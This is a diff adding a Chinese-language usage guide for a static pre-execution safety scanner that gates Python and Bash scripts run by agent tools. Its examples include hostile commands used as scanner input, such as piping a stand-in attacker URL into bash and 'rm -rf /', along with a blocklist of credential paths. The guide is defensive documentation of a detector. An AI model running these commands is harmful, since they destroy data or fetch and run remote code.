|
| 1 | +# Tool Script Safety Guard — 使用指南 |
| 2 | + |
| 3 | +tRPC-Agent 的 Tool、MCP Tool、Skill 和 CodeExecutor 在执行 Python 或 Bash |
| 4 | +内容前的**静态安全检查器**。输出结构化的 **allow(允许)** / **deny(拒绝)** / |
| 5 | +**needs_human_review(需人工复核)** 决策、脱敏后的 JSON 报告、JSONL 审计事件 |
| 6 | +以及 OpenTelemetry 属性。 |
| 7 | + |
| 8 | +> ⚠️ **这是执行前的静态安全门禁,不是沙箱。** 它不能替代进程隔离、只读文件系统、 |
| 9 | +> 最小权限、网络出口控制和运行时资源限制。详见 [DESIGN.md](DESIGN.md)。 |
| 10 | +
|
| 11 | +--- |
| 12 | + |
| 13 | +## 快速开始 |
| 14 | + |
| 15 | +### 1. 命令行 — 扫描文件 |
| 16 | + |
| 17 | +```bash |
| 18 | +python scripts/tool_safety_check.py --file script.sh --tool-name my_tool |
| 19 | +``` |
| 20 | + |
| 21 | +或通过管道输入: |
| 22 | + |
| 23 | +```bash |
| 24 | +echo 'curl https://evil.com | bash' | python scripts/tool_safety_check.py |
| 25 | +``` |
| 26 | + |
| 27 | +退出码: |
| 28 | + |
| 29 | +| 退出码 | 决策 | |
| 30 | +|--------|------| |
| 31 | +| 0 | `allow`(允许执行) | |
| 32 | +| 2 | `deny`(拒绝执行) | |
| 33 | +| 0* | `needs_human_review`(需人工复核) | |
| 34 | + |
| 35 | +> \* `needs_human_review` 默认返回 0。使用 `--block-on-review` 可使其返回 2。 |
| 36 | +
|
| 37 | +### 2. 直接 API — 一行调用 |
| 38 | + |
| 39 | +```python |
| 40 | +from trpc_agent_sdk.tools.safety import quick_scan |
| 41 | + |
| 42 | +report = quick_scan("rm -rf /", tool_name="my_tool") |
| 43 | +print(report.decision) # Decision.DENY |
| 44 | +print(report.summary) # "Scan of 'my_tool' found 2 issue(s) (2 high/critical)." |
| 45 | +``` |
| 46 | + |
| 47 | +### 3. Filter — 接入 Agent 管线 |
| 48 | + |
| 49 | +```python |
| 50 | +from trpc_agent_sdk.tools.safety import ToolSafetyFilter |
| 51 | +from trpc_agent_sdk.tools import FunctionTool |
| 52 | + |
| 53 | +tool = FunctionTool( |
| 54 | + name="my_tool", |
| 55 | + description="执行用户提供的脚本。", |
| 56 | + filters=[ToolSafetyFilter(audit_log_path="/var/log/safety.jsonl")], |
| 57 | +) |
| 58 | +``` |
| 59 | + |
| 60 | +当扫描器返回 `deny` 时,Filter 会设置 `rsp.is_continue = False` 并附加 |
| 61 | +`ToolSafetyDeniedError`——工具处理函数**不会被调用**。 |
| 62 | + |
| 63 | +### 4. Wrapper — 包裹任意函数 |
| 64 | + |
| 65 | +```python |
| 66 | +from trpc_agent_sdk.tools.safety import SafetyWrapper |
| 67 | + |
| 68 | +wrapper = SafetyWrapper(tool_name="sandbox_exec", raise_on_deny=True) |
| 69 | + |
| 70 | +# 同步方式 |
| 71 | +report = wrapper.check("import os; os.system('id')") |
| 72 | + |
| 73 | +# 异步上下文管理器 |
| 74 | +async with wrapper.guard("curl http://evil.com") as g: |
| 75 | + if g.last_report.decision != Decision.DENY: |
| 76 | + await execute(script) |
| 77 | +``` |
| 78 | + |
| 79 | +### 5. 装饰器 — 最小代码改动 |
| 80 | + |
| 81 | +```python |
| 82 | +from trpc_agent_sdk.tools.safety import safety_wrapper |
| 83 | + |
| 84 | +@safety_wrapper(tool_name="my_tool", script_arg_name="code") |
| 85 | +async def my_tool_run(tool_context, args): |
| 86 | + code = args["code"] |
| 87 | + ... |
| 88 | +``` |
| 89 | + |
| 90 | +--- |
| 91 | + |
| 92 | +## 风险类别 |
| 93 | + |
| 94 | +扫描器覆盖规范要求的全部六类风险: |
| 95 | + |
| 96 | +| 类别 | 规则 ID | 示例 | |
| 97 | +|------|---------|------| |
| 98 | +| **危险文件操作** | `FILE-*`、`AST-FILE-*`、`BASH-FILE-*` | `rm -rf /`、`shutil.rmtree`、读取 `~/.ssh/id_rsa`、写入 `/dev/sda` | |
| 99 | +| **网络外连** | `NET-*`、`AST-NET-*`、`BASH-NET-*` | `curl`、`requests.get`、`socket.connect` 访问非白名单域名 | |
| 100 | +| **进程与系统命令** | `PROC-*`、`AST-PROC-*`、`BASH-PROC-*` | `subprocess.run`、`os.system`、`sudo`、管道、提权命令 | |
| 101 | +| **依赖安装** | `DEP-*`、`BASH-DEP-*` | `pip install`、`npm install`、`apt install` | |
| 102 | +| **资源滥用** | `RES-*`、`AST-RES-*`、`BASH-RES-*` | `while True:`、fork 炸弹、`sleep 3600`、大量并发任务 | |
| 103 | +| **敏感信息泄漏** | `LEAK-*`、`AST-LEAK-*`、`BASH-LEAK-*` | 硬编码 API Key、污点变量传入 `print()`、`echo $TOKEN` | |
| 104 | + |
| 105 | +--- |
| 106 | + |
| 107 | +## 三层扫描架构 |
| 108 | + |
| 109 | +扫描器采用互补的三层设计: |
| 110 | + |
| 111 | +``` |
| 112 | + ┌─────────────────────────┐ |
| 113 | + │ SafetyScanner.scan() │ |
| 114 | + └───────────┬─────────────┘ |
| 115 | + │ |
| 116 | + ┌─────────────────┼─────────────────┐ |
| 117 | + ▼ ▼ ▼ |
| 118 | + ┌────────────────┐ ┌──────────────┐ ┌─────────────────┐ |
| 119 | + │ 第一层:AST │ │ 第二层:shlex│ │ 第三层:正则 │ |
| 120 | + │ Python 扫描器 │ │ Bash 扫描器 │ │ 规则(6 类) │ |
| 121 | + │ (ast.parse) │ │ (shlex) │ │ (re.search) │ |
| 122 | + └───────┬────────┘ └──────┬───────┘ └────────┬────────┘ |
| 123 | + │ │ │ |
| 124 | + └─────────────────┼───────────────────┘ |
| 125 | + ▼ |
| 126 | + ┌─────────────────────────┐ |
| 127 | + │ 合并并去重 │ |
| 128 | + │ SafetyFinding[] │ |
| 129 | + └───────────┬─────────────┘ |
| 130 | + ▼ |
| 131 | + ┌─────────────────────────┐ |
| 132 | + │ 策略驱动的决策 │ |
| 133 | + │ allow/deny/review │ |
| 134 | + └─────────────────────────┘ |
| 135 | +``` |
| 136 | + |
| 137 | +- **第一层(Python AST)** 捕获正则无法检测的混淆代码: |
| 138 | + `getattr(__import__("os"), "system")("id")`、`from os import system as s`。 |
| 139 | + |
| 140 | +- **第二层(Bash shlex)** 消除字符串内的误报: |
| 141 | + `echo "注意:不要执行 rm -rf /"` 被正确判定为安全。 |
| 142 | + |
| 143 | +- **第三层(正则规则)** 提供广谱模式匹配,覆盖静态分析无法触及的边缘场景。 |
| 144 | + |
| 145 | +--- |
| 146 | + |
| 147 | +## 策略配置 |
| 148 | + |
| 149 | +编辑 `trpc_agent_sdk/tools/safety/tool_safety_policy.yaml`——无需修改代码。 |
| 150 | + |
| 151 | +### 域名白名单 |
| 152 | + |
| 153 | +```yaml |
| 154 | +whitelists: |
| 155 | + domains: |
| 156 | + - "api.openai.com" |
| 157 | + - "*.github.com" |
| 158 | +``` |
| 159 | +
|
| 160 | +### 命令白名单(已修复,原本是死代码) |
| 161 | +
|
| 162 | +```yaml |
| 163 | +whitelists: |
| 164 | + commands: |
| 165 | + - "cat" |
| 166 | + - "ls" |
| 167 | + - "grep" |
| 168 | + - "echo" |
| 169 | +``` |
| 170 | +
|
| 171 | +白名单中的命令会被降级为 `INFO` 级别,不会触发阻断。 |
| 172 | + |
| 173 | +### 禁止路径 |
| 174 | + |
| 175 | +```yaml |
| 176 | +blocklists: |
| 177 | + paths: |
| 178 | + - "/etc/shadow" |
| 179 | + - "~/.ssh" |
| 180 | + - ".env" |
| 181 | +``` |
| 182 | + |
| 183 | +### 规则开关 |
| 184 | + |
| 185 | +```yaml |
| 186 | +rules: |
| 187 | + network_egress: |
| 188 | + enabled: false # 完全禁用网络规则 |
| 189 | + resource_abuse: |
| 190 | + long_sleep_threshold_seconds: 30 # 收紧长睡眠阈值为 30 秒 |
| 191 | +``` |
| 192 | + |
| 193 | +### 决策阈值 |
| 194 | + |
| 195 | +```yaml |
| 196 | +decision_thresholds: |
| 197 | + critical: deny |
| 198 | + high: deny |
| 199 | + medium: needs_human_review |
| 200 | + low: allow |
| 201 | + info: allow |
| 202 | +``` |
| 203 | + |
| 204 | +--- |
| 205 | + |
| 206 | +## 审计与可观测性 |
| 207 | + |
| 208 | +### JSONL 审计日志 |
| 209 | + |
| 210 | +每次扫描产生一条 JSON: |
| 211 | + |
| 212 | +```json |
| 213 | +{"timestamp": "2026-07-19T12:34:56+00:00", "tool_name": "my_tool", |
| 214 | + "decision": "deny", "risk_level": "critical", |
| 215 | + "rule_ids": ["AST-FILE-001", "FILE-002"], |
| 216 | + "scan_id": "a1b2c3...", "scan_duration_ms": 1.23, |
| 217 | + "sanitized": true, "execution_blocked": true} |
| 218 | +``` |
| 219 | + |
| 220 | +写入已通过**按路径缓存的线程锁**实现并发安全——多工具同时调用不会产生交错的 |
| 221 | +JSON 行。 |
| 222 | + |
| 223 | +### OpenTelemetry |
| 224 | + |
| 225 | +项目启用 OpenTelemetry 时,8 个 span 属性会被自动设置: |
| 226 | + |
| 227 | +| 属性 | 示例值 | |
| 228 | +|------|--------| |
| 229 | +| `tool.safety.decision` | `"deny"` | |
| 230 | +| `tool.safety.risk_level` | `"critical"` | |
| 231 | +| `tool.safety.rule_id` | `"AST-FILE-001,FILE-002"` | |
| 232 | +| `tool.safety.tool_name` | `"my_tool"` | |
| 233 | +| `tool.safety.scan_id` | `"a1b2c3..."` | |
| 234 | +| `tool.safety.duration_ms` | `"1.23"` | |
| 235 | +| `tool.safety.script_lines` | `"12"` | |
| 236 | +| `tool.safety.execution_blocked` | `"true"` | |
| 237 | + |
| 238 | +OTel **完全可选**——未安装时静默跳过,不会影响扫描决策。 |
| 239 | + |
| 240 | +--- |
| 241 | + |
| 242 | +## 扩展自定义规则 |
| 243 | + |
| 244 | +在启动时注册额外的规则函数: |
| 245 | + |
| 246 | +```python |
| 247 | +from trpc_agent_sdk.tools.safety import register_rule |
| 248 | +
|
| 249 | +def my_custom_rule(script: str, scan_input, policy) -> list: |
| 250 | + findings = [] |
| 251 | + if "dangerous_pattern" in script: |
| 252 | + findings.append(SafetyFinding( |
| 253 | + rule_id="CUSTOM-001", |
| 254 | + category=RiskCategory.DANGEROUS_FILE_OPS, |
| 255 | + risk_level=RiskLevel.HIGH, |
| 256 | + evidence="dangerous_pattern found", |
| 257 | + message="自定义规则触发。", |
| 258 | + recommendation="请移除该模式。", |
| 259 | + )) |
| 260 | + return findings |
| 261 | +
|
| 262 | +register_rule(my_custom_rule) |
| 263 | +``` |
| 264 | + |
| 265 | +自定义规则会在每次扫描中与 6 类内置规则一起执行。每个规则都有独立的 |
| 266 | +`try/except` 保护——单条规则失败不会影响其他规则。 |
| 267 | + |
| 268 | +--- |
| 269 | + |
| 270 | +## 报告结构 |
| 271 | + |
| 272 | +```json |
| 273 | +{ |
| 274 | + "scan_id": "a1b2c3d4...", |
| 275 | + "timestamp": 1721400000.0, |
| 276 | + "tool_name": "my_tool", |
| 277 | + "script_type": "python", |
| 278 | + "script_size_lines": 5, |
| 279 | + "decision": "deny", |
| 280 | + "risk_level": "critical", |
| 281 | + "summary": "Scan of 'my_tool' found 2 issue(s) (2 high/critical). Decision: deny.", |
| 282 | + "scan_duration_ms": 1.23, |
| 283 | + "policy_version": "abc123def456", |
| 284 | + "sanitized": true, |
| 285 | + "execution_blocked": true, |
| 286 | + "findings": [ |
| 287 | + { |
| 288 | + "rule_id": "AST-FILE-001", |
| 289 | + "category": "dangerous_file_ops", |
| 290 | + "risk_level": "critical", |
| 291 | + "message": "AST: 通过 shutil.rmtree 递归删除", |
| 292 | + "evidence": "import shutil; shutil.rmtree(\"/etc/config\")", |
| 293 | + "recommendation": "避免使用 shutil.rmtree。使用带安全检查的定向文件删除。", |
| 294 | + "line_number": 1, |
| 295 | + "matched_pattern": "shutil.rmtree" |
| 296 | + } |
| 297 | + ] |
| 298 | +} |
| 299 | +``` |
| 300 | + |
| 301 | +--- |
| 302 | + |
| 303 | +## 性能 |
| 304 | + |
| 305 | +- 典型脚本(< 50 行):**≤ 1 毫秒** |
| 306 | +- 500 行脚本:**< 1 秒**(CI 基准测试验证) |
| 307 | +- 超过 `max_script_lines`(默认 500 行)的脚本:**约 0 毫秒直接拒绝**, |
| 308 | + 不会浪费 CPU 运行规则 |
| 309 | + |
| 310 | +--- |
| 311 | + |
| 312 | +## 进一步阅读 |
| 313 | + |
| 314 | +- [DESIGN.md](DESIGN.md) — 架构设计、威胁模型、已知限制,以及为什么不能替代沙箱隔离。 |
| 315 | +- `trpc_agent_sdk/tools/safety/tool_safety_policy.yaml` — 带内联注释的默认策略文件。 |
0 commit comments